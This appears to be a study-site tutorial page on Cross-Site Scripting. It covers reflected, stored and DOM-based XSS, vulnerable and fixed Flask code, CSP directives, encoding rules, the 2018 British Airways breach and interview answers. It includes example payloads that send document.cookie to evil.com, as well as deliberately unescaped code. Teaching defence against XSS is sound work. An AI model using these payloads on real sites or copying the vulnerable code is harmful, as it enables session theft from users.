InfoSec Notes
HubCybersecurity vs Information SecurityHistory of Information SecurityImportance of Information SecuritySecurity Principles and the CIA TriadWhat is Information Security?Accountability in Information SecurityAuthentication in Information SecurityAuthorization in Information SecurityAvailability in Information SecurityConfidentiality in Information SecurityIntegrity in Information SecurityNon-Repudiation in Information SecurityAES - Advanced Encryption StandardAsymmetric Key CryptographyDES - Data Encryption StandardDigital SignaturesEncryption vs DecryptionCryptographic Hash FunctionsIntroduction to CryptographyPublic Key Infrastructure (PKI)RSA AlgorithmSymmetric Key CryptographyIntroduction to Access ControlAttribute-Based Access Control (ABAC)Discretionary Access Control (DAC)Mandatory Access Control (MAC)Role-Based Access Control (RBAC) — Information SecurityZero Trust Security ArchitectureFirewalls in Network SecurityIntrusion Detection Systems (IDS)Intrusion Prevention Systems (IPS)Network Monitoring and AnalysisNetwork Security BasicsSecure Network DesignVirtual Private Networks (VPN)Wireless Network SecurityAPI SecurityIntroduction to Application SecuritySecurity Code ReviewDependency and Supply Chain SecurityDynamic Application Security Testing (DAST)Secure Software Development LifecycleStatic Application Security Testing (SAST)Web Authentication MechanismsCross-Site Scripting (XSS)Cross-Site Request Forgery (CSRF)File Upload SecurityHTTPS and SSL/TLSSecure Coding Practices — Information SecuritySession Management SecuritySQL Injection Attacks and PreventionIntroduction to Web SecurityOS Access Control ModelsEndpoint SecurityFile System Permissions and SecurityLinux SecurityIntroduction to OS SecurityUser Account ManagementWindows SecurityCloud Security FundamentalsCloud Security Best PracticesContainer Security — Information SecurityData Security in the CloudCloud Identity and Access ManagementKubernetes SecurityShared Responsibility Model — Information SecurityIntroduction to Digital ForensicsDisk ForensicsDigital Evidence CollectionDigital Forensic ToolsIncident Investigation ProceduresMemory ForensicsNetwork ForensicsContainment StrategiesDetection and Analysis PhaseEradication and RecoveryIntroduction to Incident ResponseIncident Response LifecycleIncident Response PlaybooksPost-Incident Review and Lessons LearnedBusiness Continuity PlanningDisaster Recovery PlanningRisk Assessment MethodologyIntroduction to Risk ManagementSecurity ControlsThreat ModelingVulnerability AssessmentCompliance ManagementGDPR Data Protection OverviewISO 27001 Information Security ManagementNIST Cybersecurity FrameworkSecurity Audits and AssessmentsSecurity GovernanceSecurity Policies and StandardsCloud Security Interview QuestionsCryptography Interview QuestionsInformation Security CheatsheetInformation Security Interview QuestionsNetwork Security Interview QuestionsGlossary of Information Security TermsImportant Security Concepts ReferenceRecommended Books and Learning ResourcesSecurity Tools OverviewIncident Response LabLog Analysis ProjectNetwork Monitoring ProjectPassword Manager ProjectSecure Login System ProjectVulnerability Scanner ProjectInsider ThreatsMalware Types and AnalysisPhishing Attacks and PreventionRansomware AttacksSecurity Threats OverviewSocial Engineering AttacksSpyware and Surveillance SoftwareTrojan Horse MalwareComputer VirusesNetwork Worms
Complete guide to XSS vulnerabilities including reflected, stored, and DOM-based XSS attacks with prevention techniques, CSP headers, and practical exploitation examples.
What is XSS?
Cross-Site Scripting (XSS) is a vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. When a victim's browser executes the injected script, it runs with the privileges of the vulnerable website, allowing the attacker to steal session cookies, redirect users, or perform actions on their behalf.
Types of XSS
| Attacker | Crafts malicious URL → Victim clicks link → |
| Server reflects input in response | Browser executes script |
| Example URL | https://site.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> |
| Attacker | Submits malicious script (e.g., comment/profile) → |
| Server stores in database | All users viewing page get infected |
| Most dangerous | affects all visitors, no user interaction needed |
| Attacker | Crafts URL with payload → JavaScript reads URL → |
Attack Examples
Example
# === VULNERABLE CODE ===
# Reflected XSS (Python/Flask)
@app.route('/search')
def search():
query = request.args.get('q', '')
# VULNERABLE: User input directly in HTML without encoding
return f'<h1>Results for: {query}</h1>'
# Attacker input: <script>fetch('https://evil.com/steal?c='+document.cookie)</script>
# Stored XSS (comment system)
@app.route('/comment', methods=['POST'])
def add_comment():
comment = request.form['comment']
# VULNERABLE: Storing and displaying without sanitization
db.execute("INSERT INTO comments (text) VALUES (?)", (comment,))
return redirect('/comments')
@app.route('/comments')
def show_comments():
comments = db.execute("SELECT text FROM comments").fetchall()
html = '<div class="comments">'
for c in comments:
html += f'<p>{c[0]}</p>' # VULNERABLE: Unescaped output
html += '</div>'
return html
# === SECURE CODE ===
from markupsafe import escape
from bleach import clean
# Reflected XSS Prevention
@app.route('/search')
def search_secure():
query = request.args.get('q', '')
# SECURE: HTML encode all user input
return f'<h1>Results for: {escape(query)}</h1>'
# Stored XSS Prevention
@app.route('/comments')
def show_comments_secure():
comments = db.execute("SELECT text FROM comments").fetchall()
html = '<div class="comments">'
for c in comments:
# SECURE: Escape output OR use allowlist-based sanitizer
safe_comment = clean(c[0], tags=['b', 'i', 'em'], strip=True)
html += f'<p>{safe_comment}</p>'
html += '</div>'
return html
Content Security Policy (CSP)
CSP is the most effective defense against XSS:
| img-src 'self' data | https:; |
| connect-src 'self' https | //api.example.com; |
| script-src 'self' | Only allow scripts from same origin |
| 'nonce-abc123' | Only inline scripts with matching nonce |
| 'strict-dynamic' | Trust scripts loaded by trusted scripts |
| object-src 'none' | Block Flash/Java plugins |
| base-uri 'self' | Prevent base tag injection |
XSS Prevention Checklist
| Context | Encoding Required | Example |
|---|---|---|
| HTML body | HTML entity encoding | <script> |
| HTML attribute | Attribute encoding | "onclick=alert(1) |
| JavaScript | JavaScript encoding | \x3cscript\x3e |
| URL parameter | URL encoding | %3Cscript%3E |
| CSS value | CSS encoding | \3c script\3e |
Real-World XSS Case: British Airways (2018)
Attack: Magecart group injected a skimming script into BA's payment page via XSS in a third-party JavaScript library.
Impact: 380,000 payment card details stolen over 15 days.
Fine: £20 million GDPR penalty from ICO.
Lesson: Subresource Integrity (SRI) and CSP would have prevented the third-party script modification.
Interview Questions
- What is the difference between reflected, stored, and DOM-based XSS?
- Reflected: payload in request, reflected in response (requires victim to click link). Stored: payload saved in database, served to all visitors (most dangerous). DOM-based: payload processed entirely by client-side JavaScript without touching the server.
- How does Content Security Policy prevent XSS?
- CSP restricts which scripts can execute. With
script-src 'self', even if an attacker injects a<script>tag, the browser refuses to execute inline scripts not matching the nonce. It blocks the execution, not the injection.
- Why is output encoding preferred over input filtering for XSS prevention?
- Input filtering can be bypassed with encoding tricks and doesn't account for all output contexts. Output encoding (contextual) transforms characters right before rendering, ensuring they're treated as data not code regardless of how they were stored.
- What is DOM clobbering and how does it relate to XSS?
- DOM clobbering uses HTML elements with specific IDs/names to overwrite JavaScript global variables. If code accesses
window.someVarand an attacker injects<form id="someVar"><input name="action" value="javascript:alert(1)">, it can lead to XSS without traditional script injection.
- Explain Subresource Integrity (SRI) and when to use it.
- SRI adds a cryptographic hash to script/link tags:
<script src="lib.js" integrity="sha384-abc...">. The browser verifies the file matches the hash before executing. Use for all third-party resources to prevent supply-chain XSS if the CDN is compromised.
Exam Focus
Revise definitions, diagrams, examples, and short-answer points for Cross-Site Scripting (XSS).
Interview Use
Prepare one clear explanation, one practical example, and one common mistake for this Information Security topic.
Search Terms
information-security, information security, information, security, web, cross, site, scripting
Related Information Security Topics
Continue learning this concept
Web SecurityWeb Authentication MechanismsComprehensive guide to web authentication including sessions, JWT, OAuth 2.0, and passwordless authentication methods.Web SecurityCross-Site Request Forgery (CSRF)Understanding CSRF attacks, how they exploit authenticated sessions, prevention with tokens and SameSite cookies, and implementing anti-CSRF protection.Web SecurityFile Upload SecuritySecuring file upload features against malicious uploads including shell injection, path traversal, MIME type attacks, and implementing proper server-side validation.Web SecurityHTTPS and SSL/TLSDeep dive into HTTPS, SSL/TLS protocol handshake, certificate verification, cipher suites, and secure transport layer communication.Web SecuritySecure Coding Practices — Information SecurityEssential secure coding practices for web developers covering input validation, output encoding, error handling, and OWASP guidelines for building resilient applications.Web SecuritySession Management SecurityBest practices for secure session management including token generation, cookie attributes, fixation prevention, and timeout strategies.